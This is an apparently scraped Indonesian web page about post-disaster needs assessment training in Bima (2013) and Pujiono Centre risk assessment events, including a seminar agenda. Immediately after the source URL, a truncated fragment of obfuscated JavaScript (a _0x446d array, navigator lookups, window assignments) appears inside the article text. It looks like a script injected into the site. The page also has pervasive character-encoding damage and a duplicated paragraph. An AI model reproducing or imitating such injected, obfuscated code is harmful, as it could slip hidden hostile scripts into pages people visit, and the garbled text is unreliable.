Harianjogja.com, SLEMAN-Budaya Jawa berperan mempercepat rekonstruksi dan rehabilitasi paska bencana gempa bumi yang melanda Daerah Istimewa Yogyakarta (DIY)-Jawa Tengah 2006. Continue reading
Category Archives: Berita
LP2DER gelar TOT Pengkajian Kebutuhan Paska Bencana
Thursday, 21 February 2013

Assisten II Setda Kota Bima, Ir. Hj. Rini Indriati, mengatakan, a�?Ancaman bencana dapat hadir secara tiba-tiba, dalam kondisi normal, peningkatan kapasitas masyarakat serta unsur pemerintah dalam penanggulangan bencana dibutuhkan untuk menekan risiko atas ancaman yang adaa�?
Bencana menyisakan kerusakan dan kerugian pada asset kehidupan dan penghidupan masyarakat, Pada fase rehabilitasi dan rekonstruksi, yang merupakan bagian dari penyelenggaraan penanggulangan bencana, dilakukan proses penilaian atas kerusakan dan kerugian serta kebutuhan yang bersifat komprehensif menyentuh pada semua aspek. Semuanya dilakukan dengan prinsip dasar membangun yang lebih baik dan pengurangan risiko bencana yang diwujudkan dalam bentuk rencana aksi rehabilitasi dan rekonstruksi pascabencana.
Rangkaian proses penilaian akibat, analisis dampak dan kebutuhan paska bencana dilakukan melalui Pengkajian Kebutuhan Paska Bencana atau Post Disaster Need Assessment (PDNA). Berkaitan dengan hal tersebut, Oxfam dan Lp2der Bima menyelenggarakan Training of Trainer (TOT) PDNA, yang di selenggarakan di Lesehan Putri Kota Bima, 18 a�� 22 Februari 2013, diikuti oleh 23 peserta perwakilan SKPD Kota Bima, Kepala Kelurahan dari Kelurahan Kendo, Ntobo, Nungga dan Kolo, PMI dan OMS. Dipandu oleh 2 orang trainer dari Pujiono Centre Yogyakarta.
Walikota dalam sambutan yang disampaikan oleh Assisten II Setda Kota Bima, Ir. Hj. Rini Indriati, mengatakan, a�?Ancaman bencana dapat hadir secara tiba-tiba, dalam kondisi normal, peningkatan kapasitas masyarakat serta unsur pemerintah dalam penanggulangan bencana dibutuhkan untuk menekan risiko atas ancaman yang adaa�?
Sementara itu, M. Yamin, Koordinator program Lp2der, menambahkan,a�? kajian-kajian untuk kebutuhan paska bencana adalah salah satu bagian penting dalam proses mewujudkan Kota Bima dalam menuju kota tangguh terhadap bencana.a�?
TOT PDNA ini merupakan bagian dari program membangun dan memperdalam ketangguhan masyarakat dan instansi lokal terhadap bencana dan perubahan iklim di Indonesia Timur (Building and Deepening Resilience – BDR) yang di fasilitasi LP2DER dengan dukungan dari lembaga bantuan Internasional Pemerintah Australia (AusAID) melalui Australia-Indonesia Facility for Disaster Reduction (AIFDR) dan European Commission (Uni Eropa) ECHO. (Yoeris)
Sumber:A�http://jompambojo.blogspot.co.id/2013/02/lp2der-gelar-tot-pengkajian-kebutuhan.html d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}
Pengkajian Risiko Bencana di Indonesia
Seiring dengan makin kerapnya kejadian bencana di negeri ini, di lapangan, metode yang dimaksudkan sebagai alat bantu pengkajian resiko bencana di Indonesia juga tumbuh bak cendawan di musim hujan. Meski begitu, faktanya, kekisruhan dalam proses-proses penanggulangan bencana tak urung terus terjadi. …. Inisiatif-inisiatif para pihak yang memberikan perhatian yang besar pada tahap pra-bencana pun terus berupaya menstandarkan proses dan konten dari analisisnya. Ada suatu proses dan perkembangan yang sangat menggembirakan. Yang penting adalah berbagai piranti pengkajian resiko analisis ini mempunyai potensi untuk saling melengkapi, yang kemudian menjadi suatu menu yang lengkap.
Call For Papers: Community-Based Risk Assessment for Disaster Risk Reduction and Climate Change
The Pujiono Centre for Disaster and Climate Risk Reduction Studies organizes a workshop entitled: “Local Participatory Risk Assessment: Linking Knowledge to Practice” as a side event of the 5th Asian Ministerial Conference on Disaster Risk Reduction, scheduled to be held in Yogyakarta, Indonesia from 22 to 25 October 2012. Continue reading
Inventory of disaster and climate change risk assessment
Type:A�Training Course
Organizer:A�Pujiono Centre for Disaster and Climate Risk Reduction Studies, the (PC)
Date:A�06 Aug 2012
Location:A�Indonesia (Yogyakarta)
Language:A�English
The Seminar mapped out the different risk assessment practices and programs at all disaster phases: in pre-disaster situation, during emergency response, in the post-disaster rehabilitation and reconstruction period as well as far after the recovery timeframe has been completed. Discussions in the seminar were focused on how communities take part in risk assessment processes, how this process interact with the macro risk assessments that are technology-heavy, and how they contribute to the disaster risk reduction planning and implementation after the assessments.
Agenda – Brief introduction on the Landscape of Risk Assessment by Dr. Puji Pujiono – District level Development of Flood Risk Map, Arif Rianto, ST, M.Si. of PSMB UPN Veteran – Village level Self Risk Assessment at Volcanic Eruption Setting, Puji Setiarso of Jangkar Kelud – Community-based Disaster Risk Assessment, Ruhui Eka S. of Lingkar Association – Household Economy Analysis, Puspasari Indra of Oxfam – Knowledge Contestation Against Risk Reduction: Memory and Cultural Approach in understanding peoplea��s resistance to Jesuit Refugee Service (JRS) Indonesia DRR Programme in Kluet, South Aceh, Dedy Kristanto and Saefudin Amsa (PUSDEP Sanata Dharma University) – Indigenous Risk Assessment leading to Adaptation and Mitigation Strategies of Sikep Samin Community to the Effects of Global Warming Adaptation to Paddy farming, Dr. Eko Teguh Paripurno of PSMB UPN Veteran – Climate Change Impact Studies and Programme of UNDP Indonesia, Anton Sri P. of UNDP – National Disaster Risk Assessment Program of the national DM Agency, Lilik Kurniawan of BNPB – Joint Needs Assessment (JNA): Assessing the risk in the first 48 Hours of Disaster Emergency, Puspasari Indra from Oxfam – Multi-Cluster Initial Rapid Assessment (MIRA), by Titi Moektijasih from UN-OCHA – Damage and Loss Assessment (DALA), Magda Adriani of the World Bank – Human Recovery Needs Assessment, Rinto Andriono Pujiono Centre – Longitudinal Study of Post-Merapi Eruption Recovery Process, Juli Nugroho of Yogyakarta DRR Forum
Target audience
Participants were invited from community-based organization from hazard-prone areas, the government, international organizations, UN Agencies, national and local non-government organizations.
View concept note [PDF 412.00 kB]
Keywords
Themes:A�Capacity Development, Climate Change, Community-based DRR, Risk Identification & Assessment, GIS & Mapping, Indigenous Knowledge
Hazards:A�Flood, Volcano
Countries:A�Indonesia